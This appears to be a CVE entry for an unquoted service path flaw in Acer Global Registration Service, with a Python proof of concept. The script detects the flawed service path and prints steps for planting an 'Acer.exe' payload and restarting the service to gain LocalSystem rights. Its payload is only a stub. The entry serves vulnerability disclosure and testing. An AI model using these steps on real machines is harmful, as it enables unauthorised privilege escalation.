CVE-2020-36976 | Acer Global Registration Service 未引用服务路径提权漏洞

#!/usr/bin/env python3 """ CVE-2020-36976 PoC - Acer Global Registration Service Unquoted Service Path This script demonstrates the unquoted service path vulnerability in Acer Global Registration Service. """ import os import sys import subprocess import ctypes def is_admin(): """Check if script is running with administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def check_vulnerability(): """Check if the vulnerable service exists and has unquoted path""" try: # Query the service configuration using sc command result = subprocess.run( ['sc', 'qc', 'gregsvc'], capture_output=True, text=True ) if 'gregsvc' in result.stdout.lower() or result.returncode == 0: print("[+] Acer Global Registration Service (gregsvc) found") # Check for unquoted path with spaces if 'C:\\Program Files (x86)\\Acer\\Registration' in result.stdout: print("[+] Service path is UNQUOTED - VULNERABLE") print("[*] Attack vector: Place malicious executable at:") print(" - C:\\Program Files (x86)\\Acer.exe") print(" - C:\\Program Files (x86)\\Acer Registration.exe") return True else: print("[-] Target service not found") return False except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False def create_payload(payload_path): """Create a simple payload executable""" # This is a demonstration - actual payload would be malicious print(f"[*] Payload location: {payload_path}") print("[!] In real attack, this would contain malicious code") print("[!] When service restarts, payload executes with LocalSystem privileges") def main(): print("=" * 60) print("CVE-2020-36976 - Acer Global Registration Service") print("Unquoted Service Path Privilege Escalation PoC") print("=" * 60) if not is_admin(): print("[-] This script requires administrator privileges") print("[-] Please run as Administrator") sys.exit(1) print("[+] Running with administrator privileges") if check_vulnerability(): print("\n[*] To exploit this vulnerability:") print(" 1. Create a malicious executable named 'Acer.exe' or 'Acer Registration.exe'") print(" 2. Place it in C:\\Program Files (x86)\\ directory") print(" 3. Wait for service restart or restart it manually: sc stop gregsvc && sc start gregsvc") print(" 4. Payload will execute with LocalSystem privileges") create_payload('C:\\Program Files (x86)\\Acer.exe') if __name__ == '__main__': main()